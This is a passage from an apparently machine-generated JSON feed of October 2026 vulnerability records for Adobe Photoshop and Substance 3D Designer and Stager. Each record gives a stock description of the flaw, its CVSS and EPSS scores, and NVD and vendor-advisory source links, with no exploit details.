exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103821","cveId":"CVE-2026-103821","aliases":[],"kind":"vulnerability","title":"Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Designer is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:23.193Z","updatedAt":"2026-10-15T18:43:21.323Z","regions":["Global"],"vendor":"adobe","product":"substance 3d designer","stacks":["Adobe","substance 3d designer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103821","asOf":"2026-10-15T18:43:21.323Z"},"epss":{"probability":0.00138,"percentile":0.03175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103821&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103821","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103821","type":"primary","publishedAt":"2026-10-13T21:17:23.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-designer/apsb26-169.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103821&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103821, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100112","cveId":"CVE-2026-100112","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:14.523Z","updatedAt":"2026-10-16T10:36:55.470Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100112","asOf":"2026-10-16T10:36:55.470Z"},"epss":{"probability":0.00148,"percentile":0.03995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100112","type":"primary","publishedAt":"2026-10-13T21:17:14.523Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100111","cveId":"CVE-2026-100111","aliases":[],"kind":"vulnerability","title":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:14.397Z","updatedAt":"2026-10-16T10:36:51.593Z","regions":["Global"],"vendor":"adobe","product":"photoshop","stacks":["Adobe","photoshop"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100111","asOf":"2026-10-16T10:36:51.593Z"},"epss":{"probability":0.00148,"percentile":0.03994,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100111","type":"primary","publishedAt":"2026-10-13T21:17:14.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103843","cveId":"CVE-2026-103843","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.680Z","updatedAt":"2026-10-20T00:10:02.483Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103843","asOf":"2026-10-20T00:10:02.483Z"},"epss":{"probability":0.00165,"percentile":0.05659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103843","type":"primary","publishedAt":"2026-10-13T20:17:10.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103842","cveId":"CVE-2026-103842","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure.","summary":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.567Z","updatedAt":"2026-10-20T00:09:46.523Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103842","asOf":"2026-10-20T00:09:46.523Z"},"epss":{"probability":0.00158,"percentile":0.0491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103842&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103842","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103842","type":"primary","publishedAt":"2026-10-13T20:17:10.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103842&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103842, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103841","cveId":"CVE-2026-103841","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure.","summary":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.453Z","updatedAt":"2026-10-20T00:09:32.423Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103841","asOf":"2026-10-20T00:09:32.423Z"},"epss":{"probability":0.00158,"percentile":0.0491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103841","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103841","type":"primary","publishedAt":"2026-10-13T20:17:10.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103840","cveId":"CVE-2026-103840","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure.","summary":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.340Z","updatedAt":"2026-10-20T00:09:19.227Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103840","asOf":"2026-10-20T00:09:19.227Z"},"epss":{"probability":0.00158,"percentile":0.0491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103840","type":"primary","publishedAt":"2026-10-13T20:17:10.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103839","cveId":"CVE-2026-103839","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.227Z","updatedAt":"2026-10-19T21:01:42.870Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103839","asOf":"2026-10-19T21:01:42.870Z"},"epss":{"probability":0.00138,"percentile":0.03177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103839","type":"primary","publishedAt":"2026-10-13T20:17:10.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103838","cveId":"CVE-2026-103838","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.113Z","updatedAt":"2026-10-19T21:01:33.907Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103838","asOf":"2026-10-19T21:01:33.907Z"},"epss":{"probability":0.00138,"percentile":0.03176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103838","type":"primary","publishedAt":"2026-10-13T20:17:10.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103837","cveId":"CVE-2026-103837","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:10.000Z","updatedAt":"2026-10-19T21:01:11.017Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103837","asOf":"2026-10-19T21:01:11.017Z"},"epss":{"probability":0.00138,"percentile":0.03175,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103837","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103837","type":"primary","publishedAt":"2026-10-13T20:17:10.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.adobe.com/trust/security/products/substance3d-stager/apsb26-170.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103836","cveId":"CVE-2026-103836","aliases":[],"kind":"vulnerability","title":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.","detail":"Substance3D - Stager is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T20:17:09.883Z","updatedAt":"2026-10-19T21:00:52.320Z","regions":["Global"],"vendor":"adobe","product":"substance 3d stager","stacks":["Adobe","substance 3d stager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103836","asOf":"2026-10-19T21:00:52.320Z"},"epss":{"probability":0.00138,"percentile":0.03177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103836&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103836","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103836","type":"primary","publishedAt":"2026-10-13T20:17:09.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD 